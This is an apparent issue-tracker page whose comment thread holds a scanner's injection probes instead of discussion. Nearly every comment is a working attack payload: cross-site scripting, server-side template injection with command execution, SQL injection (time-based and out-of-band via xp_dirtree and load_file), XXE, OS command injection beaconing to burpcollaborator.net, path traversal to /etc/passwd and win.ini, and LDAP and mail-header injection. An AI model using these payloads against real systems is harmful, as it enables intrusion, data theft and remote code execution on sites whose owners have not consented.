555-555-0199@example.com
Issue #61
new
No description provided.
Comments (232)
-
-
qwerty
-
qwerty
-
1lkjr2t7lq
-
qwertybplk74fdh3
-
ub9255od40bhh5h98y4mhx75mwsygr4jr9fy.burpcollaborator.net
-
-
qwertyalert(1)
-
qwertyw8edo<a>zeyg5
-
qwertyhb3kl<script>alert(1)</script>iahhv
-
shghh${944*749}zjsu8
-
x42vk{{798*370}}tmjso
-
g5vfw{{411|add:213}}pg3xq
-
#set ($a=380*296) cudmb${a}e6s74
-
ys9wz<%= 513*810 %>g9c66
-
vlb76 = 636*145
-
w86t1{{.}}h04mh{{..}}z9hw9
-
qwerty}}eg60s'/"<ksdns
-
qwerty%}fttdq'/"<k62nc
-
qwertysp9em%>hbofm'/"<lsldu
-
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % vuzcc SYSTEM "http://yln6f9yhe4llr9rdi2eqr1h9w022q5ex1npc.burpcollab'||'orator.net/">%vuzcc;]>'),'/l') from dual)
-
qwerty'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % vuzcc SYSTEM "http://4glcaftn9agrmfmjd89wm7cfr6x8lc94wukj.burpcollab'||'orator.net/">%vuzcc;]>'),'/l') from dual)||'
-
qwerty;declare @q varchar(99);set @q='\kbzs5vo34qb7hvhz8o4chn7vmmsogf63yqoed.burpcollab'+'orator.net\fzc'; exec master.dbo.xp_dirtree @q;--
-
qwerty';declare @q varchar(99);set @q='\525dwgfovb2s8g8kz9vx88ygd7j970yoqbgz5.burpcollab'+'orator.net\cjv'; exec master.dbo.xp_dirtree @q;--
-
qwerty);declare @q varchar(99);set @q='\ptmxn068mvtcz0z4qtmhzsp04ratykq8iv8jx.burpcollab'+'orator.net\ccw'; exec master.dbo.xp_dirtree @q;--
-
qwerty');declare @q varchar(99);set @q='\8r0glj4rkervxjxnock0xbnj2a8cw3prhe72w.burpcollab'+'orator.net\rdu'; exec master.dbo.xp_dirtree @q;--
-
(select load_file('\\ipbqjt21iop5vtvxmmiavllt0k6mudw1ooec3.burpcollaborator.net\wck'))
-
qwerty'+(select load_file('\\7v3fpi8qodvu1i1msboz1ari69cb023qvdl1a.burpcollaborator.net\wdo'))+'
-
qwerty'
-
qwerty'(select*from(select(sleep(20)))a)'
-
qwerty'+(select*from(select(sleep(20)))a)+'
-
qwerty' and (select*from(select(sleep(20)))a)--
-
qwerty,(select*from(select(sleep(20)))a)
-
qwerty' waitfor delay'0:0:20'--
-
qwerty')waitfor delay'0:0:20'--
-
qwerty',0)waitfor delay'0:0:20'--
-
qwerty'+sleep(20.to_i)+'
-
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))
-
qwerty'+eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))+'
-
qwerty{${sleep(20)}}
-
qwerty'.sleep(20).'
-
qwerty12137876' or '8761'='8761
-
qwerty12137876' or '8761'='8762
-
qwerty12137876' or 8761=8761--
-
qwerty12137876' or 8761=8762--
-
qwerty' and '2259'='2259
-
qwerty' and '2259'='2260
-
qwerty' and 2259=2259--
-
qwerty' and 2259=2260--
-
qwerty|nslookup uyw2s5bdr0yh4549vyrm4xu59wfy3urmec21.burpcollaborator.net.&
-
qwerty'"
0&nslookup rb6z52oa4xbeh2h68v4jhu72mtsvgs4krafz.burpcollaborator.net.&' -
qwerty&nslookup wvv4p78fo2vj171bs0oo1zr76yc00vonbdz2.burpcollaborator.net.&'\"
0&nslookup wvv4p78fo2vj171bs0oo1zr76yc00vonbdz2.burpcollaborator.net.&' -
qwerty|echo 0coyngay7r vuf3mmyia5||a #' |echo 0coyngay7r vuf3mmyia5||a #|" |echo 0coyngay7r vuf3mmyia5||a #
-
qwerty&echo c2lxhx6k7u bx912jzklr&
-
qwerty"|echo t6l2xdt37s pesuu4zr72 ||
-
qwerty'|echo donyd9qw07 231hervaef #xzwx
-
qwerty|ping -n 21 127.0.0.1||
ping -c 21 127.0.0.1#' |ping -n 21 127.0.0.1||ping -c 21 127.0.0.1#\" |ping -n 21 127.0.0.1 -
qwerty|ping -c 21 127.0.0.1||x
-
qwerty&ping -n 21 127.0.0.1&
-
qwerty'|ping -c 21 127.0.0.1 #
-
qwerty"|ping -n 21 127.0.0.1 ||
-
................................\windows\win.ini
-
................................\windows\win.iniX
-
c:\windows\win.ini
-
c:\windows\win.iniX
-
qwerty................................\windows\win.ini
-
qwerty................................\windows\win.iniX
-
................................\windows\win.ini
-
................................\windows\win.iniX
-
/etc/passwd
-
/etc/passwdX
-
qwertyX
-
5ezm4srfxy)(sn=*
-
5ezm4srfxy)!(sn=*
-
)(sn=
-
)!(sn=
-
<mnc xmlns="http://a.b/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://xpq5j82gi3pkv8vcm1ipv0l80z61u1it5jt8.burpcollaborator.net/mnc.xsd">mnc</mnc>
-
<whw xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://yeg689rh74elk9kdb27qk1a9p0v2j37vulia.burpcollaborator.net/foo"/></whw>
-
qwerty'+(function(){if(typeof vxrod==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);vxrod=1;}}())+'
-
"-->'-->`--><!--#set var="p21b" value="qswfnrka"--><!--#set var="m373" value="ecz6mcux"--><!--#echo var="p21b"--><!--#echo var="m373"-->
-
qwerty BCC:8r0glj4rkervxjxnock0xbnj2a8cw4pshf73w@burpcollaborator.net oox: e
-
qwerty> BCC:57ad1gko0b7sdgdk490xd83gi7o9c16pyco0d@burpcollaborator.net uif: g
-
.../....///.../....///.../....///.../....///.../....///.../....///etc/passwd
-
.../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd
-
file:///etc/passwd
-
%2fetc%2fpasswd
-
../../../../WEB-INF/web.xml
-
../../../WEB-INF/web.xml
-
../../WEB-INF/web.xml
-
../WEB-INF/web.xml
-
%c0%ae/WEB-INF/web.xml
-
%c0%ae/%c0%ae/WEB-INF/web.xml
-
%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml
-
%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml
-
../../../WEB-INF/web.xml;x=
-
../../WEB-INF/web.xml;x=
-
../WEB-INF/web.xml;x=
-
%E5%98%8A%E5%98%8DX-Injection:%20test
-
${178*476}
-
#{178*476}
-
${applicationScope}
-
#{applicationScope}
-
(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec("cat+/etc/passwd").getInputStream()),"UTF-8")).useDelimiter("\A").next()
-
qwertyymszo\zo2
-
qwertyg7v7l7`z'z"\
-
qwertytc26a6`z\'z\"\
-
qwertyz9ggf2`z''z\"\
-
qwertypos7a4\\
-
qwertyke8cg3\
-
qwertypkgnz0z'z
-
qwertyo78uj6z\\'z
-
qwertyza5df8z\''z
-
qwertyve00e2\zz'z
-
qwertys3abf6"
-
qwertyiiwid2\"
-
qwertynkllh5`
-
qwertyw66727`
-
qwertyh626k2"z\
-
qwertyjtk0s7z\z
-
qwertypd81v2'z\
-
qwertyh5da40z\z
-
qwertylqnh87%{{z${{z
-
qwertyq2b4o5}}%z}}$z
-
qwerty/'z/*/
-
qwerty/*z'/
-
qwerty,abz(1)
-
qwerty,abs(1)
-
./z/../qwerty
-
<script>alert(299792458)</script>
-
<script>console.log(299792458)</script>
-
<script>confirm(299792458)</script>
-
<script>prompt(299792458)</script>
-
<scr ipt>alert(299792458)</scr ipt>
-
<scr ipt>console.log(299792458)</scr ipt>
-
<scr ipt>confirm(299792458)</scr ipt>
-
<scr ipt>prompt(299792458)</scr ipt>
-
"><script>alert(299792458)</script>
-
"><script>console.log(299792458)</script>
-
"><script>confirm(299792458)</script>
-
"><script>prompt(299792458)</script>
-
"><script>alert(299792458)</script><"
-
"><script>console.log(299792458)</script><"
-
"><script>confirm(299792458)</script><"
-
"><script>prompt(299792458)</script><"
-
'><script>alert(299792458)</script>
-
'><script>console.log(299792458)</script>
-
'><script>confirm(299792458)</script>
-
'><script>prompt(299792458)</script>
-
<<SCRIPT>alert(299792458)//<</SCRIPT>
-
<<SCRIPT>console.log(299792458)//<</SCRIPT>
-
<<SCRIPT>confirm(299792458)//<</SCRIPT>
-
<<SCRIPT>prompt(299792458)//<</SCRIPT>
-
"onmousemove=alert(299792458)
-
"onmouseout=alert(299792458)
-
"onmouseover=alert(299792458)
-
"onmousemove=console.log(299792458)
-
"onmouseout=console.log(299792458)
-
"onmouseover=console.log(299792458)
-
"onmousemove=confirm(299792458)
-
"onmouseout=confirm(299792458)
-
"onmouseover=confirm(299792458)
-
"onmousemove=prompt(299792458)
-
"onmouseout=prompt(299792458)
-
"onmouseover=prompt(299792458)
-
<<SCRIPT>alert(299792458)//<</SCRIPT>
-
<<SCRIPT>console.log(299792458)//<</SCRIPT>
-
<<SCRIPT>confirm(299792458)//<</SCRIPT>
-
<<SCRIPT>prompt(299792458)//<</SCRIPT>
-
<img src="1" onerror="alert(299792458)">
-
<img src="1" onerror="console.log(299792458)">
-
<img src="1" onerror="confirm(299792458)">
-
<img src="1" onerror="prompt(299792458)">
-
<img src='1' onerror='alert(299792458)'
-
<img src='1' onerror='console.log(299792458)'
-
<img src='1' onerror='confirm(299792458)'
-
<img src='1' onerror='prompt(299792458)'
-
onerror="alert(299792458)"
-
onerror="console.log(299792458)"
-
onerror="confirm(299792458)"
-
onerror="prompt(299792458)"
-
onerror='alert(299792458)'
-
onerror='console.log(299792458)'
-
onerror='confirm(299792458)'
-
onerror='prompt(299792458)'
-
onload="alert(299792458)"
-
onload="console.log(299792458)"
-
onload="confirm(299792458)"
-
onload="prompt(299792458)"
-
onload='alert(299792458)'
-
onload='console.log(299792458)'
-
onload='confirm(299792458)'
-
onload='prompt(299792458)'
-
<IMG """><SCRIPT>alert(299792458)</SCRIPT>">
-
<IMG """><SCRIPT>console.log(299792458)</SCRIPT>">
-
<IMG """><SCRIPT>confirm(299792458)</SCRIPT>">
-
<IMG """><SCRIPT>prompt(299792458)</SCRIPT>">
-
<IMG '''><SCRIPT>alert(299792458)</SCRIPT>'>
-
<IMG '''><SCRIPT>console.log(299792458)</SCRIPT>'>
-
<IMG '''><SCRIPT>confirm(299792458)</SCRIPT>'>
-
<IMG '''><SCRIPT>prompt(299792458)</SCRIPT>'>
-
<IFRAME SRC='f' onerror="alert(299792458)"></IFRAME>
-
<IFRAME SRC='f' onerror="console.log(299792458)"></IFRAME>
-
<IFRAME SRC='f' onerror="confirm(299792458)"></IFRAME>
-
<IFRAME SRC='f' onerror="prompt(299792458)"></IFRAME>
-
<IFRAME SRC='f' onerror='alert(299792458)'></IFRAME>
-
<IFRAME SRC='f' onerror='console.log(299792458)'></IFRAME>
-
<IFRAME SRC='f' onerror='confirm(299792458)'></IFRAME>
-
<IFRAME SRC='f' onerror='prompt(299792458)'></IFRAME>
-
qwertyhb3kl<script>alert(1)</script>iahhv
-
qwertyv
-
-
qwertyv
-
qwertyalert
-
-
-
-
qwertyalert
-
lala
-
lala
-
lala
-
12345
-
-
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-
-
qwerty
-
qwerty
-
qwerty
-
qwerty
-
qwerty
-
0xy8rbajq6xn3b3fu4qs33tb82e42wukm7cv1
-
'"><svg/onload=(new(Image)).src='//rlgzf2yaexler2r6ivejruh2wt2vqngb8yymn\56burpcollaborator.net'>
-
javascript:/</script><svg/onload='+/"/+/onmouseover=1/+/[/[]/+((new(Image)).src=([]+/\/kays4vn33qa7gvgz7o3cgn6vlmrofg64yrofd.burpcollaborator.net/).replace(/\/g,[]))//'>
- Log in to comment
qwerty